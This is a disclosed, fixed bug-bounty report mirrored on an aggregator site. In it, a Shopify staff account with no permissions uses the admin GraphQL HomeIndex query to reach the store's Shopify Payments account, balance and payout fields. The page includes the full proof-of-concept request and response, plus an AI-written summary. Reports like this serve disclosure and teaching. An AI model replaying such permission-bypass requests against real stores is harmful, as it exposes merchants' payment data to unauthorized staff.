Skip to content
Access control Disclosed report Intermediate

Using GraphQL, STAFF with NO explicit permissions on Store can retrieve Shopify Payments Balance.

A staff account with no explicit permissions could send a GraphQL request that returned the store's Shopify Payments account details, including the payment provider in use and a balance field. The reporter suspects that with real transactions the balance would be disclosed, but the test store had none so the array was empty.

h13- Follow

Originally disclosed on HackerOne

Bounty$500 Low 3.4 View original
  • Triaged in 47 hours
  • Fixed in 3 months
  • Paid in 3 days
  • Disclosed after 6 months

Hi,

I am reporting this because it looks like a authorization bug in GraphQL. A staff member having no explicit permissions on a Shopify Store may be able to retrieve the Current balances in all currencies for the account for Shopify Payments.

Steps

  1. STAFF account is created and assigned NO permissions on a Shop by Owner/Admin
  2. STAFF then logs in to shop. Notice that STAFF is not having any access to menus/ HOME section.
s1.JPG
s1.JPG From the original on HackerOne
  1. Now STAFF triggers the below GraphQL request via a burp proxy.
POST /admin/api/graphql HTTP/1.1
Host: vir444.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
x-shopify-web-force-proxy: 1
origin: https://vir444.myshopify.com
Content-Length: 2999
Cookies: [....]

{"operationName":"HomeIndex","variables":{"localTime":"22:59"},"query":"query HomeIndex($localTime: DateTime!) {\n  staffMember {\n    id\n    privateData {\n      activityFeed(first: 3) {\n        edges {\n          ...ActivityFeed\n          __typename\n        }\n        __typename\n      }\n      capital {\n        ... on HomeCapitalSummary {\n          ...CapitalFeature\n          __typename\n        }\n        __typename\n      }\n      greeting(clientDatetime: $localTime) {\n        body\n        heading\n        __typename\n      }\n      notifications {\n        ... on HomeNotification {\n          ...Notifications\n          __typename\n        }\n        __typename\n      }\n      onboarding {\n        ... on HomeOnboarding {\n          ...Onboarding\n          __typename\n        }\n        __typename\n      }\n      tasks {\n        ... on HomeTask {\n          ...OrderTasks\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n  shop {\n    betaOnboarding: beta(name: \"home_onboarding_web\")\n    betaSlice: beta(name: \"home_slice\")\n    email\n    features {\n      storefront\n      __typename\n    }\n    id\n    shopifyPaymentsAccount {\n      balance {\n        ... on MoneyV2 {\n          ...Balance\n          __typename\n        }\n        __typename\n      }\n      payouts(first: 2, reverse: true) {\n        edges {\n          ... on ShopifyPaymentsPayoutEdge {\n            ...Payout\n            __typename\n          }\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment ActivityFeed on ActivityEdge {\n  cursor\n  node {\n    author\n    createdAt\n    messages\n    topic\n    attributed\n    __typename\n  }\n  __typename\n}\n\nfragment CapitalFeature on HomeCapitalSummary {\n  balanceProgress\n  balanceRemaining {\n    amount\n    currencyCode\n    __typename\n  }\n  paybackAmount {\n    amount\n    currencyCode\n    __typename\n  }\n  __typename\n}\n\nfragment Balance on MoneyV2 {\n  amount\n  currencyCode\n  __typename\n}\n\nfragment Payout on ShopifyPaymentsPayoutEdge {\n  node {\n    gross {\n      amount\n      currencyCode\n      __typename\n    }\n    id\n    issuedAt\n    status\n    __typename\n  }\n  __typename\n}\n\nfragment Onboarding on HomeOnboarding {\n  feedbackOptions\n  heading\n  tagName\n  tasks {\n    buttons {\n      text\n      url\n      __typename\n    }\n    completed\n    iconKey\n    image {\n      originalSrc\n      __typename\n    }\n    label\n    message\n    title\n    __typename\n  }\n  __typename\n}\n\nfragment OrderTasks on HomeTask {\n  badge {\n    status\n    title\n    __typename\n  }\n  handle\n  icon {\n    originalSrc\n    __typename\n  }\n  title\n  url\n  __typename\n}\n\nfragment Notifications on HomeNotification {\n  button {\n    text\n    url\n    __typename\n  }\n  dismissible\n  dismissMessage\n  id\n  message\n  severity\n  title\n  __typename\n}\n"}

Observer the response

{
    "data": {
        "shop": {
            "betaSlice": true, 
            "__typename": "Shop", 
            "features": {
                "__typename": "ShopFeatures", 
                "storefront": true
            }, 
            "shopifyPaymentsAccount": {
                "__typename": "ShopifyPaymentsAccount", 
                "payouts": {
                    "__typename": "ShopifyPaymentsPayoutConnection", 
                    "edges": []
                }, 
                "balance": []
            }, 
            "betaOnboarding": true, 
            "id": "gid://shopify/Shop/5282726001", 
            "email": "[email protected]"
        }, 
s2.JPG
s2.JPG From the original on HackerOne

Impact

There are 2 issues which I noticed here,

  1. The response indicated that the store is using shopifyPayments as means of settling payouts between customers, merchants & store owners. This information should have been hidden since the STAFF running the GraphQL query had no settings permission assigned to his role. This means STAFF must ideally not know what is/are the payment providers which are applicable for the store.

  2. The response indicates an array called balances which I think is the place holder to retrieve the Current balances in all currencies for the account used for Shopify Payments on the store. Since my store did not do any transactions, the array is left empty. I suspect that had there been any Shopify Payments transactions in store, the balance of those will be reflected back into the balances parameter in the above GraphQL response. I believe payments/billing related information must not be visible/displayed to the STAFF especially when he has no- explicit permission assigned on the store.

The original report as published on HackerOne, by h13-. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL resolver for the shop's payments account did not check the staff member's permissions before returning payment-related fields.

Impact

A staff member without permissions could learn which payment provider the store uses and may be able to see payment balances if the store has transactions; the reporter could not confirm the balance disclosure because the test store had none.

What the attacker needed

A staff account with no permissions; staff can log in to the shop admin

How it was found

  1. Create a staff account and give it no permissions on the shop.
  2. Log in as that staff member and confirm there is no access to menus or the home section.
  3. Send the home page GraphQL request through an intercepting proxy.
  4. Observe that the response includes the Shopify Payments account and a balance field.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A shop can give staff accounts limited roles, so someone with no permissions should see almost nothing. Here the shop's programming interface (GraphQL) still answered a request about payment settings and balances, even though the person was not allowed to see settings. The reporter could not confirm real money figures because the test shop had no sales.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by h13-

View all

6 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.